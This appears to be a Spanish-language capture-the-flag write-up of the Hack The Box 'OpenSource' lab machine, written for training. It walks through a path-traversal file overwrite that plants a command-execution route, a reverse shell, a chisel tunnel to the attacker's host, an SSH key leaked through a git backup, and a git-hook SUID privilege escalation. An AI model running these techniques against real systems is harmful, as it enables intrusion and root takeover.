This page looks best with JavaScript enabled

Hack The Box - OpenSource

 •  ✍️ sckull

OpenSource expone el codigo fuente de una aplicación, tras analizar el codigo, descubrimos que es posible escribir y acceder a archivos localmente, con ello sobreescribimos el codigo de la aplicación para ejecutar comandos, para luego acceder a un contenedor. Dentro, descubrimos Gitea corriendo en un puerto no expuesto, obtuvimos el puerto localmente para luego descubrir una clave privada SSH que nos dió acceso a la máquina. Finalmete escalamos privilegios tras la ejecución de un cronjob como root con Git.

Nombre OpenSource box_img_maker
OS

Linux

Puntos 20
Dificultad Facil
IP 10.10.11.164
Maker

irogir

Matrix
{
   "type":"radar",
   "data":{
      "labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
      "datasets":[
         {
            "label":"User Rate",  "data":[6, 5.7, 4.8, 5.2, 4.3],
            "backgroundColor":"rgba(75, 162, 189,0.5)",
            "borderColor":"#4ba2bd"
         },
         { 
            "label":"Maker Rate",
            "data":[3, 10, 8, 2, 0],
            "backgroundColor":"rgba(154, 204, 20,0.5)",
            "borderColor":"#9acc14"
         }
      ]
   },
    "options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
            "angleLines":{"color":"rgba(255, 255, 255,0.6)"},
            "gridLines":{"color":"rgba(255, 255, 255,0.6)"}
        }
    }
}

Recon

nmap

nmap muestra multiples puertos abiertos: http (80) y ssh (22).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
# Nmap 7.92 scan initiated Sun Jun 19 19:41:44 2022 as: nmap -p22,80 -sV -sC -oN nmap_scan 10.10.11.164
Nmap scan report for 10.10.11.164 (10.10.11.164)
Host is up (0.067s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 1e:59:05:7c:a9:58:c9:23:90:0f:75:23:82:3d:05:5f (RSA)
|   256 48:a8:53:e7:e0:08:aa:1d:96:86:52:bb:88:56:a0:b7 (ECDSA)
|_  256 02:1f:97:9e:3c:8e:7a:1c:7c:af:9d:5a:25:4b:b8:c8 (ED25519)
80/tcp open  http    Werkzeug/2.1.2 Python/3.10.3
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.1 200 OK
|     Server: Werkzeug/2.1.2 Python/3.10.3
|     Date: Sun, 19 Jun 2022 23:41:51 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 5316
|     Connection: close
|     <html lang="en">
|     <head>
|     <meta charset="UTF-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1.0">
|     <title>upcloud - Upload files for Free!</title>
|     <script src="/static/vendor/jquery/jquery-3.4.1.min.js"></script>
|     <script src="/static/vendor/popper/popper.min.js"></script>
|     <script src="/static/vendor/bootstrap/js/bootstrap.min.js"></script>
|     <script src="/static/js/ie10-viewport-bug-workaround.js"></script>
|     <link rel="stylesheet" href="/static/vendor/bootstrap/css/bootstrap.css"/>
|     <link rel="stylesheet" href=" /static/vendor/bootstrap/css/bootstrap-grid.css"/>
|     <link rel="stylesheet" href=" /static/vendor/bootstrap/css/bootstrap-reboot.css"/>
|     <link rel=
|   HTTPOptions:
|     HTTP/1.1 200 OK
|     Server: Werkzeug/2.1.2 Python/3.10.3
|     Date: Sun, 19 Jun 2022 23:41:51 GMT
|     Content-Type: text/html; charset=utf-8
|     Allow: HEAD, GET, OPTIONS
|     Content-Length: 0
|     Connection: close
|   RTSPRequest:
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
|     "http://www.w3.org/TR/html4/strict.dtd">
|     <html>
|     <head>
|     <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 400</p>
|     <p>Message: Bad request version ('RTSP/1.0').</p>
|     <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
|     </body>
|_    </html>
|_http-title: upcloud - Upload files for Free!
|_http-server-header: Werkzeug/2.1.2 Python/3.10.3
[.. snip ..]
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jun 19 19:43:19 2022 -- 1 IP address (1 host up) scanned in 95.15 seconds

Web Site

Los headers del sitio web muestran Werkzeug y la version de Python, por lo que podría tratarse de una aplicación escrita en Flask, Django o web2py.

1
2
3
4
5
6
7
8
9
 π ~/htb/opensource ❯ curl -sI 10.10.11.164
HTTP/1.1 200 OK
Server: Werkzeug/2.1.2 Python/3.10.3
Date: Mon, 20 Jun 2022 00:11:10 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 5316
Connection: close

 π ~/htb/opensource ❯

Se menciona que es un sitio para transferencia de archivos, tambien se muestran dos botones, el primero permite la descarga de un archivo zip.

image

El segundo es una ruta para subir archivos.

image

Tras subir un archivo nos retorna una url.

image

Tras visitar la url vemos el contenido del archivo subido.

1
2
3
 π ~/htb/opensource ❯ curl -s http://10.10.11.164/uploads/a.txt
hello there
 π ~/htb/opensource ❯

Directory Brute Forcing

feroxbuster muestra unicamente dos direcciones.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
 π ~/htb/opensource ❯ feroxbuster -u http://10.10.11.164/ -w $MD --depth 1

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.5.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://10.10.11.164/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.5.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 1
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200      GET        0l        0w  2489147c http://10.10.11.164/download
200      GET       45l      144w     1563c http://10.10.11.164/console
[####################] - 33m   220545/220545  0s      found:2       errors:93
[####################] - 33m   220545/220545  110/s   http://10.10.11.164/
 π ~/htb/opensource ❯

La dirección /download nos retorna el archivo zip, la dirección /console muestra la consola de Werkzeug, aunque es necesario el PIN para acceder a esta.

image

Repo - source

Tras descomprimir el archivo zip, vemos que es un repositorio, se observa un archivo de Docker para la aplicación.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
 π repository public ❯ l
total 28K
drwxr-xr-x 5 kali kali 4.0K Jun 19 21:58 .
drwxr-xr-x 5 kali kali 4.0K Jun 19 21:57 ..
drwxrwxr-x 5 kali kali 4.0K Apr 28 07:45 app
-rwxr-xr-x 1 kali kali  110 Apr 28 07:40 build-docker.sh
drwxr-xr-x 2 kali kali 4.0K Apr 28 07:34 config
-rw-rw-r-- 1 kali kali  574 Apr 28 08:50 Dockerfile
drwxrwxr-x 8 kali kali 4.0K Jun 19 22:43 .git
 π repository public ❯
 π repository public ❯ tree -L 3
.
├── app
│ ├── app
│ │ ├── configuration.py
│ │ ├── __init__.py
│ │ ├── static
│ │ ├── templates
│ │ ├── utils.py
│ │ └── views.py
│ ├── INSTALL.md
│ ├── public
│ │ └── uploads
│ └── run.py
├── build-docker.sh
├── config
│ └── supervisord.conf
└── Dockerfile

7 directories, 9 files
 π repository public ❯

Logs

Tras ejecutar git log --all vemos todos los commits realizados.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
commit 2c67a52253c6fe1f206ad82ba747e43208e8cfd9 (HEAD -> public)
Author: gituser <gituser@local>
Date:   Thu Apr 28 13:55:55 2022 +0200

    clean up dockerfile for production use

commit c41fedef2ec6df98735c11b2faf1e79ef492a0f3 (dev)
Author: gituser <gituser@local>
Date:   Thu Apr 28 13:47:24 2022 +0200

    ease testing

commit be4da71987bbbc8fae7c961fb2de01ebd0be1997
Author: gituser <gituser@local>
Date:   Thu Apr 28 13:46:54 2022 +0200

    added gitignore

commit a76f8f75f7a4a12b706b0cf9c983796fa1985820
Author: gituser <gituser@local>
Date:   Thu Apr 28 13:46:16 2022 +0200

    updated

commit ee9d9f1ef9156c787d53074493e39ae364cd1e05
Author: gituser <gituser@local>
Date:   Thu Apr 28 13:45:17 2022 +0200

    initial
(END)

En uno de ellos muestra unas credenciales (dev01:Soulless_Developer#2022), mismas que son eliminadas en un siguiente commit.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
commit a76f8f75f7a4a12b706b0cf9c983796fa1985820
Author: gituser <gituser@local>
Date:   Thu Apr 28 13:46:16 2022 +0200

    updated

diff --git a/app/.vscode/settings.json b/app/.vscode/settings.json
new file mode 100644
index 0000000..5975e3f
--- /dev/null
+++ b/app/.vscode/settings.json
@@ -0,0 +1,5 @@
+{
+  "python.pythonPath": "/home/dev01/.virtualenvs/flask-app-b5GscEs_/bin/python",
+  "http.proxy": "http://dev01:Soulless_Developer#2022@10.10.10.128:5187/",
+  "http.proxyStrictSSL": false
+}

[ .. snip .. ]

Vemos que las credenciales no nos permiten el acceso por SSH.

1
2
3
4
5
6
7
8
 π ~/htb/opensource ❯ ssh dev01@10.10.11.164 # dev01:Soulless_Developer#2022
The authenticity of host '10.10.11.164 (10.10.11.164)' can't be established.
ED25519 key fingerprint is SHA256:LbyqaUq6KgLagQJpfh7gPPdQG/iA2K4KjYGj0k9BMXk.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.164' (ED25519) to the list of known hosts.
dev01@10.10.11.164: Permission denied (publickey).
 π ~/htb/opensource ❯

Upcloud

Observamos en el codigo fuente dos rutas, la primera permite subir archivos y la segunda acceder aun archivo segun la ruta dada sin algun tipo de filtro. Además encontramos el archivo utils.py que contiene funciones para direcciones de archivo seguras, en este caso vemos que reemplaza cualquier string con valor ../.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import os

from app.utils import get_file_name
from flask import render_template, request, send_file

from app import app


@app.route('/', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        f = request.files['file']
        file_name = get_file_name(f.filename)
        file_path = os.path.join(os.getcwd(), "public", "uploads", file_name)
        f.save(file_path)
        return render_template('success.html', file_url=request.host_url + "uploads/" + file_name)
    return render_template('upload.html')


@app.route('/uploads/<path:path>')
def send_report(path):
    path = get_file_name(path)
    return send_file(os.path.join(os.getcwd(), "public", "uploads", path))
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import time

def current_milli_time():
    return round(time.time() * 1000)

"""
Pass filename and return a secure version, which can then safely be stored on a regular file system.
"""
def get_file_name(unsafe_filename):
    return recursive_replace(unsafe_filename, "../", "")


"""
TODO: get unique filename
"""
def get_unique_upload_name(unsafe_filename):
    spl = unsafe_filename.rsplit("\\.", 1)
    file_name = spl[0]
    file_extension = spl[1]
    return recursive_replace(file_name, "../", "") + "_" + str(current_milli_time()) + "." + file_extension

"""
Recursively replace a pattern in a string
"""
def recursive_replace(search, replace_me, with_me):
    if replace_me not in search:
        return search
    return recursive_replace(search.replace(replace_me, with_me), replace_me, with_me)

Upcloud - Local

Localmente ejecutamos la app, observamos que tras no enviar algun archivo se muestra la dirección completa de donde se encuentra la app. De igual forma podemos obtener esta información en los archivos de configuracion de Docker.

image

Además observamos que es posible escribir y sobre escribir archivos que la app utiliza, vemos en este caso el archivo configuration.py y el archivo hello.txt en home respectivamente.

image
image

También podemos acceder a cualquier archivo conociendo su dirección completa, en este caso configuration.py.

image

User - Container

Upcloud RCE - Local

Sabiendo que podemos sobreescribir archivos de la app, vamos a crear y agregar una nueva ruta en views.py que nos permita ejecutar comandos. En este caso utilizando la librería os que ya está definida en este archivo.

1
2
3
4
5
6
7
@app.route('/cmd/', methods=['GET'])
def cmd():
    if request.args.get('cmd'):
        r = os.popen(request.args.get('cmd')).read()
        return r
    else:
        return "no cmd"

Observamos que tras agregar estas lineas de codigo tuvo efecto.

image

Tras ejecutar el comando id vemos el resultado.

1
2
3
 π source/app/app public ✗ ❯ curl -s "http://192.168.171.128/cmd/?cmd=id"
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),119(wireshark),122(bluetooth),134(scanner),142(kaboxer)
 π source/app/app public ✗ ❯

Upcloud RCE

Tras lograr ejecutar comandos localmente realizamos lo mismo esta vez en la máquina, vemos que el directorio de la app es /app/.

image

Confirmamos la ruta de views.py.

image

Tras sobreescribir el archivo vemos que se agregó la nueva ruta.

image

Tras ejecutar id vemos que tenemos acceso, en este caso como root.

1
2
3
 π ~/htb/opensource ❯ curl -s "http://10.10.11.164/cmd/?cmd=id"
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
 π ~/htb/opensource ❯

Shell

Ejecutamos una shell inversa con python (codificado en URL), logrando obtener una shell como root.

1
2
3
4
5
6
7
 π ~/htb/opensource ❯ rlwrap nc -lvp 1338
listening on [any] 1338 ...
connect to [10.10.14.207] from 10.10.11.164 [10.10.11.164] 57730
/bin/sh: can't access tty; job control turned off
/app # whoami
root
/app #

nmap

Utilizando una version estatica de nmap, observamos distintas direcciones disponibles.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
/root # ./nmap -n -sn 172.17.0.* -oG - | awk '/Up$/{print $2}' | sort -V
Cannot find nmap-payloads. UDP payloads are disabled.
Cannot find nmap-mac-prefixes: Ethernet vendor correlation will not be performed
172.17.0.1
172.17.0.2
172.17.0.3
172.17.0.4
172.17.0.5
172.17.0.6
172.17.0.7
172.17.0.8
172.17.0.9
/root #

Descubrimos que la dirección 172.17.0.1 tiene puertos abiertos, vemos el puerto 3000.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/root # ./nmap -p- --min-rate 3000 172.17.0.1

Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2022-06-20 04:32 GMT
Unable to find nmap-services!  Resorting to /etc/services
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for 172.17.0.1
Cannot find nmap-mac-prefixes: Ethernet vendor correlation will not be performed
Host is up (0.000027s latency).
Not shown: 65524 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3000/tcp open  unknown
6000/tcp open  x11
6001/tcp open  x11-1
6002/tcp open  x11-2
6003/tcp open  x11-3
6004/tcp open  x11-4
6005/tcp open  x11-5
6006/tcp open  x11-6
6007/tcp open  x11-7
MAC Address: 02:42:F9:EF:38:86 (Unknown)

dsap done: 1 IP address (1 host up) scanned in 52.13 secon
/root #

Tras realizar una solicitud a este vemos que se trata de Gitea.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
/root # wget 172.17.0.1:3000
Connecting to 172.17.0.1:3000 (172.17.0.1:3000)
saving to 'index.html'
index.html           100% |********************************| 13414  0:00:00 ETA
'index.html' saved
/root # head index.html
<!DOCTYPE html>
<html lang="en-US" class="theme-">
<head>
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width, initial-scale=1">
	<title> Gitea: Git with a cup of tea</title>
	<link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR2l0ZWE6IEdpdCB3aXRoIGEgY3VwIG9mIHRlYSIsInNob3J0X25hbWUiOiJHaXRlYTogR2l0IHdpdGggYSBjdXAgb2YgdGVhIiwic3RhcnRfdXJsIjoiaHR0cDovL29wZW5zb3VyY2UuaHRiOjMwMDAvIiwiaWNvbnMiOlt7InNyYyI6Imh0dHA6Ly9vcGVuc291cmNlLmh0YjozMDAwL2Fzc2V0cy9pbWcvbG9nby5wbmciLCJ0eXBlIjoiaW1hZ2UvcG5nIiwic2l6ZXMiOiI1MTJ4NTEyIn0seyJzcmMiOiJodHRwOi8vb3BlbnNvdXJjZS5odGI6MzAwMC9hc3NldHMvaW1nL2xvZ28uc3ZnIiwidHlwZSI6ImltYWdlL3N2Zyt4bWwiLCJzaXplcyI6IjUxMng1MTIifV19"/>
	<meta name="theme-color" content="#6cc644">
	<meta name="default-theme" content="auto" />
	<meta name="author" content="Gitea - Git with a cup of tea" />
/root #

Si observamos dicho puerto esta “filtrado” en la máquina y unicamente es accesible localmente.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
 π ~/htb/opensource ❯ nmap 10.10.11.164 -p 3000
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-20 00:39 EDT
Nmap scan report for 10.10.11.164 (10.10.11.164)
Host is up (0.066s latency).

PORT     STATE    SERVICE
3000/tcp filtered ppp

Nmap done: 1 IP address (1 host up) scanned in 0.79 seconds
 π ~/htb/opensource ❯

dev01 - User

Chisel

Utilizamos chisel para obtener el puerto 3000 localmente.

1
2
3
4
5
# Kali
./chisel server -p 8181 --reverse

# OpenSource container
./chisel client 10.10.14.207:8181 R:3000:172.17.0.1:3000

Vemos localmente que el puerto 3000 esta a la escucha.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
 π ~/htb/opensource ❯ netstat -ntpl
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:8081            0.0.0.0:*               LISTEN      127483/python3
tcp        0      0 0.0.0.0:8082            0.0.0.0:*               LISTEN      192804/python3
tcp6       0      0 :::3000                 :::*                    LISTEN      205526/./chisel
tcp6       0      0 127.0.0.1:8080          :::*                    LISTEN      57754/java
tcp6       0      0 :::8181                 :::*                    LISTEN      205526/./chisel
tcp6       0      0 127.0.0.1:46315         :::*                    LISTEN      57754/java
 π ~/htb/opensource ❯

Tras visitar el puerto 3000 localmente logramos acceder a Gitea.

image

Utilizando las credenciales que encontramos en el repositorio logramos acceder.

image

El único repositorio del usuario dev01 es un backup del directorio /home, vemos que tambien está la carpeta .ssh donde encontramos la clave privada ssh.

image

Shell

Utilizando este archivo logramos obtener acceso como dev01 y obtener la flag user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
 π ~/htb/opensource ❯ ssh -i dev01_id_rsa dev01@10.10.11.164
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-176-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Mon Jun 20 04:50:27 UTC 2022

  System load:  0.1               Processes:              220
  Usage of /:   75.8% of 3.48GB   Users logged in:        0
  Memory usage: 25%               IP address for eth0:    10.10.11.164
  Swap usage:   0%                IP address for docker0: 172.17.0.1

  => There is 1 zombie process.


16 updates can be applied immediately.
9 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable


Last login: Mon May 16 13:13:33 2022 from 10.10.14.23
dev01@opensource:~$ ls
user.txt
dev01@opensource:~$ cat user.txt
a60f8c63f560b461f3bf646f7453b6dd
dev01@opensource:~$

Privesc

Ejecutamos pspy vemos que un cron se ejecuta cada 2 minutos, generando un backup del directorio home de dev01 utilizando Git.

1
2
3
4
5
6
7
8
9
2022/06/20 04:59:01 CMD: UID=0    PID=31815  | /bin/bash /usr/local/bin/git-sync
2022/06/20 04:59:01 CMD: UID=0    PID=31814  | /bin/sh -c /usr/local/bin/git-sync
2022/06/20 04:59:01 CMD: UID=0    PID=31813  | /usr/sbin/CRON -f
2022/06/20 04:59:01 CMD: UID=0    PID=31816  | git status --porcelain
2022/06/20 04:59:01 CMD: UID=0    PID=31817  |
2022/06/20 04:59:01 CMD: UID=0    PID=31818  | git add .
2022/06/20 04:59:01 CMD: UID=0    PID=31819  | git commit -m Backup for 2022-06-20
2022/06/20 04:59:01 CMD: UID=0    PID=31820  | git push origin main
2022/06/20 04:59:01 CMD: UID=0    PID=31821  | /usr/lib/git-core/git-remote-http origin http://opensource.htb:3000/dev01/home-backup.git

GTFOBins sugiere distintas formas para ejecutar y leer archivos, una de estas es utilizar el archivo pre-commit donde es posible escribir comandos para su ejecución, en este caso utilizamos el archivo pre-commit.sample, realizamos una copia de este y al inicio agregamos algunos comandos.

Realizamos una copia de bash para luego darle permisos suid.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
dev01@opensource:~$ head .git/hooks/pre-commit
#!/bin/sh
#
# An example hook script to verify what is about to be committed.
# Called by "git commit" with no arguments.  The hook should
# exit with non-zero status after issuing an appropriate message if
# it wants to stop the commit.
#
# To enable this hook, rename this file to "pre-commit".
cp /bin/bash /tmp/bashthis
chmod u+s /tmp/bashthis
dev01@opensource:~$

Despues de unos segundos esperamos a que root ejecutará git, observamos que se creó la copia de bash con permisos suid.

1
2
3
dev01@opensource:~$ ls -lah /tmp/bashthis
-rwsr-xr-x 1 root root 1.1M Jun 20 05:25 /tmp/bashthis
dev01@opensource:~$

Ejecutando esta copia con la flag -p, logramos obtener la flag root.txt.

1
2
3
4
5
6
7
8
9
dev01@opensource:~$ /tmp/bashthis -p
bashthis-4.4# whoami
root
bashthis-4.4# cd /root
bashthis-4.4# ls
config	meta  root.txt	snap
bashthis-4.4# cat root.txt
bc28cc7287b2a22362200b1c3d79b754
bashthis-4.4#
Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe